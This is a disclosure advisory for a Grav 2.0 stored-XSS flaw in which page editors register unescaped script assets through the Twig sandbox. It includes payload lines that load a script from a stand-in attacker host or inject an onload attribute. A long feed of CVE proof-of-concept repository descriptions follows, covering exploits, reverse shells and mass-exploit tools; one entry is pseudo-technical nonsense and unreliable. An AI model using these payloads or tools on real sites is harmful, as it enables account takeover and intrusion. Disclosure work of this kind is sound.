## Summary Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists `addcss` and `addjs` on `Grav\Common\Assets` (`system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307`). Because the sandbox arbitrates the *call* and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a `<script src>` / `<link href>` tag. The asset URL is concatenated into that tag **without escaping**, so it can also break out of its own attribute. The save-time XSS scan cannot see this: `Security::detectXssInEditorContent()` renders the content body in isolation and inspects the returned string, while `assets.addJs()` acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag. This is not a `Security::detectXss()` bypass. It is content reaching an unescaped output sink through an allowlisted method. ## Affected versions All Grav 2.0 releases whose sandbox policy allowlists `addcss`/`addjs` on `Grav\Common\Assets`. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from `system/config/security.yaml` into `SandboxDefaults` in 2.0.19. Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page `process: twig`. ## Details **Reachable by a plain page editor, with no Twig permission and no configuration change.** On a stock install `security.twig_content.process_enabled` is `true` and `system/config/system.yaml` ships `process: { markdown: true }` with no `twig` key, so `Security::applyTwigContentDefault()` defaults every page's `process.twig` to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. `security.twig_content.editor_enabled: false` and the `admin.pages_twig` permission gate only the per-page *override checkbox* in the editor — they do not gate whether Twig runs. **The sink.** `Assets/Js.php:46` (and identically `Css.php:50`, `Link.php:41`, `JsModule.php:47`) builds the tag by concatenation with no escaping: ```php return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . ... ``` For any remote asset, `BaseAsset::init()` stores the caller's string verbatim. Two working variants follow: 1. External script inclusion — `{{ assets.addJs('https://attacker.example/poc.js') }}` 2. Attribute injection with **no attacker-controlled host** — `{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}`, because `unifyLegacyArguments()` passes a second array argument straight into the tag's attributes and attribute *names* are not filtered. The same effect is reachable by embedding a quote in the URL itself. **Timing.** `Twig::processSite()` resolves `$page->content()` before rendering the theme template, so the registration lands before the head is emitted. `javascript:` and `data:` URLs are not exploitable — they are treated as local paths and dropped when the file does not exist. ## Impact Persistent script execution on the site's own origin for every visitor of the affected page — **including administrators**, which makes this a page-editor-to-super-admin escalation: - Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with `sandbox="allow-same-origin allow-scripts allow-forms"`, so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (`plugins.api.protect_frontend_session`) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this. - Admin-Next persists the administrator's API **access and refresh JWTs** in `localStorage` on that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view. - An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required. ## Patches Fixed in Grav 2.0.20: - `addcss`/`addjs` removed from the `Grav\Common\Assets` sandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods through `security.twig_sandbox.allowed_methods`, which is additive over the shipped defaults. - Asset URLs are now HTML-escaped at every render site (`Js`, `Css`, `Link`, `JsModule`, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it. Operators who cannot upgrade immediately can tighten the policy in `user/config/security.yaml`: ```yaml twig_sandbox: denied_methods: - class: Grav\Common\Assets methods: 'addcss, addjs' ``` ## Credits Reported by Ahmed Ibrahim (@skeletonsec).
PoC: YellowKey-BitLocker-CVE-2026-45585
YellowKey BitLocker recovery - bitlocker yellowkey, yellowkey bitlocker, CVE-2026-45585, yellowkey github, yellowkey vulnerability, yellowkey CVE, TPM, BitLocker recovery key backup, Windows 10/11, CLI GUI, portable audit tool. Download:🡇
PoC: Keycloak_CVE-2026-18963_PoC
This repo is poc of cve-2026-18963. Please use it on legal products (lab, local,...).
PoC: CVE-2026-18963-keycloak
CVE-2026-18963
PoC: pixel-ksu-root
adb-driven KernelSU loader for stock Google Pixel: temporary kernel R/W via CVE-2026-43499 (GhostLock), then late-loads a signature-matched kernelsu.ko for the running KMI. Manager-agnostic.
PoC: PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability
poc and yara rules
PoC: CVE-2026-72898
Metabase SQLi
PoC: CVE-2026-19478
GitLab Code injection
PoC: CVE-2026-75604
CVE-2026-75604 (Next.js Windows RCE) PoC - unauthenticated RCE via cache path traversal + forged Server Action; for authorized security testing
PoC: CVE-2026-19632
CVE-2026-19632 - TranslatePress One-Day PoC
PoC: CVE-2026-56705
CVE-2026-56705 - Adminer < 5.4.3 unauthenticated RCE via MSSQL PDO DSN injection (ODBC TraceFile arbitrary file write). PoC, Docker lab and negative test included.
PoC: CVE-2026-75604-poc
CVE-2026-75604 Next.js Windows RCE poc
PoC: CVE-2026-4692-trust-me-im-in-rdm
Firefox BrowsingContext field-sync authz bypass (N-day, bug 2017643): forged PContent::CommitBrowsingContextTransaction sets InRDMPane=true from a compromised content process - parent applies it. Prerequisite primitive for privileged-UI touch-event injection.
PoC: CVE-2022-28906-POC
CVE-2022-28906 Proof of concept in Python3
PoC: CVE-2026-41551
ROS# 路径遍历漏洞(CVE-2026-41551)
PoC: cve-2022-42475-poc
Proof of Concept (PoC) for research and controlled laboratory validation of CVE-2022-42475, a critical heap-based buffer overflow vulnerability affecting the SSL-VPN service in certain versions of FortiOS.
PoC: CVE-2026-15469
CVE-2026-15469 — Hard-coded RSA-512 mesh group private key in TP-Link Deco XE75/XE5300/WE10800 (CWE-321). Advisory, analysis & PoC methodology (EN/KO).
PoC: CVE-2026-32475-PoC
PoC for CVE-2026-32475: Elementor Pro <=4.2.1 unauthenticated file upload to RCE. Stdlib-only Python.
PoC: CVE-2026-12295-UXXS-in-my-wasm
Firefox content->parent srcdoc forge (N-day, bug 2040160): forged PDocumentChannel with SrcdocData on a non-about:srcdoc URI -> attacker HTML served at victim origin (UXSS), via mojo-port send-path injection from a compromised content process
PoC: CVE-2026-66384
CVE-2026-66384 - Draft or TODO
PoC: CVE-2026-33017-PoC-Reverse-Shell
CVE-2026-33017 PoC Reverse Shell
PoC: CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules
CVE-2026-33057 - Mesop Unauthenticated RCE PoC and yara rules
PoC: CVE-2026-10036-speechbrain-rce
SpeechBrain < 1.1.1 checkpoint metadata RCE via unsafe PyYAML parsing of CKPT.yaml.
PoC: CVE-2025-55182-poc
I know you are probably here from Hack the Box, if so, yes this one actually works.
PoC: Project-CVE-2026-50751
IKEv1 VPN scanners, attempts a Check Point authentication-bypass exploit, and includes internal network scanning and reverse-shell features.
PoC: CTT-Enhanced-CVE-2026-46339-Exploit-Engine
A specialized Python framework that executes unauthenticated remote code execution via the 9Router Model Context Protocol (MCP) bridge by deploying a 33-layer temporal phase cascade, Riemann-Hadamard dispersion, and an 11 ns wedge filter to bypass traditional proxy and process-monitoring defenses.
PoC: Zimbra-CVE-2026-73570-Rules
Wazuh Rules for Detection Zimbra (CVE-2026-73570).
PoC: CVE-2022-46169
Cacti 1.2.22 unauthenticated command injection
PoC: CVE-2024-23897
Jenkins CVE-2024-23897 — CSRF-crumb aware PoC
PoC: CVE-2025-10952-ml-logger-AFR
PoC for CVE-2025-10952 — ml-logger unauthenticated arbitrary file read. CVSS 5.3
PoC: CVE-2026-65643
CVE-2026-65643 - Draft or TODO
PoC: cve-2023-23397-detection-lab
Detection and mitigation research lab for CVE-2023-23397 using network and endpoint security telemetry.
PoC: fastjson-cve
fastjson-cve-2026-16723
PoC: CVE-2026-23751-poc
Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting)
PoC: CVE-2023-27350-CVE-2023-27351
CVE-2023-27350, CVE-2023-27351 - PaperCut - Draft or TODO
PoC: Project-CVE-2026-33017
CVE-2026-33017 - Langflow Unauthenticated RCE Exploit
PoC: CVE-2026-70463
Testing CVE-2026-70463 by Fyyre
PoC: 2025-Oracle-SSO-LDAP-Attack-Post-Incident-Written-Report
Post-incident report analyzing the Oracle Cloud SSO/LDAP supply chain attack (CVE-2021-35587). Details the exploitation of legacy server infrastructure, impact across 140,000+ cloud tenants, root-cause findings, and phased mitigation strategies.
PoC: CVE-2026-20131-Post-Incident-Written-Report
Post-incident report on CVE-2026-20131 (CVSS 10.0), a Cisco FMC insecure deserialization vulnerability exploited by Interlock ransomware. Details root-cause analysis, lateral movement tactics, and emergency containment strategies.
PoC: ghostlock-pfem10
GhostLock (CVE-2026-43499 / IonStack) research for OPPO Find X5 Pro (PFEM10): exploit chain, progress, blocker log, and OPPO 5-series kernel notes
PoC: htb-labs-connected
Hack The Box Connected machine write-up featuring enumeration, CVE-2025-57819 exploitation, reverse shell, and privilege escalation to root via FreePBX and incron.
PoC: spring-ai-sibling-loop-poc
Minimal reproduction for Spring AI ParagraphManager sibling self-loop OOM (incomplete fix of CVE-2026-47851)
PoC: mssharepoint-scanner
A scanner for CVE-2026-55040 and CVE-2026-63520, designed to determine whether the server is affected by these two CVEs.
PoC: weblogic
Oracle WebLogic Console unauthenticated auth bypass + RCE exploit (CVE-2020-14882 / CVE-2020-14750)
PoC: CVE-2021-27876-veritas-backup
Metasploit module: Veritas Backup Exec Agent SHA-auth NDMP remote code execution (CVE-2021-27876/27877/27878)
PoC: rmg-s9180-fzg1
Root My Galaxy SM-S9180 (dm3q) S9180ZHS8FZG1 payload port - CVE-2026-43499 + KernelSU LKM
PoC: hacktivity-vulns-exploits-lab
Writeup + CVE analysis + countermeasures for the Hacktivity 'Vulnerabilities, Exploits, and Remote Access Payloads' lab (netcat shells, Metasploit, CVE-2010-1240, CVE-2004-2687).
PoC: CVE-2026-55040-Mass-Exploit
CVE-2026-55040
PoC: Project-CVE-2026-75604
A Python-based exploitation framework for CVE-2026-75604 that enables authorized penetration testers to validate Next.js Windows cache traversal vulnerabilities. Deploys reverse shells and webshells via path traversal, with built-in target verification and proxy support for seamless integration into standard pentest workflows.
PoC: CVE-2026-18963
CVE-2026-18963 Keycloak Reset-Credentials State Bypass Detector
PoC: CVE-2015-3246
CVE-2015-3246
PoC: CVE-2015-5287
CVE-2015-5287
PoC: htb-labs-nexus
Hack The Box Nexus machine write-up covering reconnaissance, Gitea credential discovery, Krayin CRM exploitation via CVE-2026-38526, initial access, and privilege escalation through a vulnerable Gitea template synchronization service.
PoC: Cisco-CVE-2026-20303-More
CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313
PoC: CVE-Ubiquiti
CVE-2026-77542, CVE-2026-77543, CVE-2026-77545, CVE-2026-77550, CVE-2026-77551, CVE-2026-77552, CVE-2026-77553, CVE-2026-77554, CVE-2026-77557 - Draft or TODO
PoC: CVE-2026-18431
CVE-2026-18431 - Draft or TODO
PoC: CVE-2026-8467
CVE-2026-8467 - Draft or TODO
PoC: CVE-2026-50787
Security advisory for CVE-2026-50787: uncontrolled resource consumption in e-SIC Livre CAPTCHA generation leading to remote denial of service.
PoC: solarview-ics-vulnerability-analysis
Threat model and vulnerability analysis of Contec SolarView Compact (CVE-2022-29303)
PoC: CVE-2026-72898-metabase-sqli
Detector + root-cause analysis for CVE-2026-72898 (Metabase unauthenticated SQLi via reset_password)
PoC: By-Poloss..-..CVE-2026-18080
Poc CVE-2026-18080
PoC: CVE-2026-63520
POC pre-auth RCE on Sharepoint chain
PoC: f_hid-4.14-backports
Backports of three published f_hid fixes (incl. CVE-2026-31721, CVE-2026-31606) to an EOL Linux 4.14.190 Android vendor kernel, with on-device verification records.
PoC: chrome-vuln-scanner
Check for CVE-2026-79266. A use-after-free in the DevTools component allows arbitrary code execution inside the sandbox via a malicious Chrome extension leveraging social engineering.
PoC: CVE-2026-19912-CVE-2026-19913-CVE-2026-19914
CVE-2026-19912, CVE-2026-19913, CVE-2026-19914
PoC: CVE-2026-19632-POC
PoC for CVE-2026-19632 - TranslatePress – Multilingual <= 3.3.1 - Unauthenticated Account Takeover via Password Reset Link Disclosure
PoC: ghostlock-infinix-hot70
Proof-of-concept kernel exploit for GhostLock (CVE-2026-43499) on the Infinix Hot 70.
PoC: CVE-2025-2945-pgAdmin-RCE
PoC for CVE-2025-2945 — pgAdmin 4 authenticated eval() injection RCE, CVSS 9.9
PoC: CVE-2026-63072
CVE-2026-63072
PoC: CVE-2026-76904
PostGIS SQL Injection GeoTools
PoC: CVE-2014-085
ZooKeeper 未授权访问漏洞（CVE-2014-085）PoC 及靶场
PoC: hdwebmobile-photo-video-reviews
WooCommerce plugin: photo & video product reviews, closing CVE-2026-12684's unauthenticated-upload vulnerability class by construction
PoC: Exploit-CVE-2026-56705
CVE-2026-56705 — Adminer < 5.4.3 Unauthenticated RCE via MSSQL PDO DSN Injection
PoC: CVE-2026-73570
Zimbra SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP exploit (Poc)
PoC: vivo-root-build
vivo/iQOO 提权 so 编译（CVE-2026-43499）
PoC: CVE-2026-72530-TrueConf-Sandbox-Escape-
Este repositorio contiene una demostración educativa de la mitigación y detección para **CVE-2026-72530**, una vulnerabilidad crítica de **Code Injection y Sandbox Escape** en TrueConf Server.
PoC: CVE-2021-41773-Exploit
CVE-2021-41773 Apache HTTP Server 2.4.49 Path Traversal to RCE Exploit
PoC: cve-2026-60004
CVE-2026-60004 es una vulnerabilidad crítica (CVSS 9.8) en Gitea que permite ejecución remota de código sin autenticación mediante el endpoint `/api/v1/repos/{owner}/{repo}/diffpatch`.
PoC: CVE-2026-68820_Mass_Exploit
CVE-2026-68820 — Mass Exploit Framework Edition.
PoC: CVE-2026-58073-check
Safely detect Veeam Service Provider Console auth bypass CVE-2026-58073
PoC: CVE-2026-18963
Nuclei template to discover Keycloak reset-credentials endpoints related to CVE-2026-18963 exposure validation.
PoC: CVE-2020-1472
CVE-2020-1472
PoC: CVE-2026-32635-Angular-XSS-Mitigation-
Demostracion educativa de mitigacion y deteccion de CVE-2026-32635: XSS en atributos i18n de Angular.
PoC: CVE-2018-16763_fuel_cms_exploit
A fuel CMS exploit based on Python for RCE mentioned in CVE-2018-16763.
PoC: CVE-2026-26211
Public disclosure for CVE-2026-26211, a stored XSS vulnerability affecting Ekushey Project Manager CRM v5.0.
PoC: keycloak-CVE-2026-18963
PoC, Dockerfile playground and root cause from patch diff analysis.
PoC: CVE-2026-17532-lab
CVE-2026-17532 Docker Lab.
PoC: Wildfire
CVE-2026-39154, Stored XSS in CometChat JS SDK
PoC: Trespasser
CVE-2026-74970, Fission site isolation bypass in Firefox WebRender
PoC: Palimpsest
CVE-2026-74945, Uninitialized heap disclosure via a crafted web font (sec-high)
PoC: SkeletonKey
CVE-2026-6765, Test only FormAutofill handlers exposed in Firefox
PoC: Revenant
CVE-2026-74943, Use after free in Firefox RasterImage (sec-high)
PoC: CVE-2026-73570
PoC for CVE-2026-73570 (Zimbra SMTP Command Injection)
PoC: EDRKiller
Use cve-2026-36425 killer edr，360 can killer
PoC: RootMyVivo
One-click root for vivo/iQOO devices on locked bootloader | CVE-2026-43499 + KernelSU
PoC: Exploit-For-CVE-2026-18963
Exploit for CVE-2026-18963 by BlackHatExploitation
PoC: gha-lab-aaaaa1cc3e
GitHub Actions workflow sandbox for CVE-2025-67727 reproduction
PoC: gha-lab-f1c8785cc8
GitHub Actions workflow sandbox for CVE-2025-46820 reproduction
PoC: CVE-2026-16348
TP-Link Archer BE800 V1 — VPN Key Injection RCE
PoC: CVE-2026-77806
CVE-2026-77806漏洞检测代码
PoC: UniBLEed
Unitree G1 RCE PoC & Scripts (CVE-2026-76639 / CVE-2026-76640) technical details at boschko.ca/g1-ble-rce/
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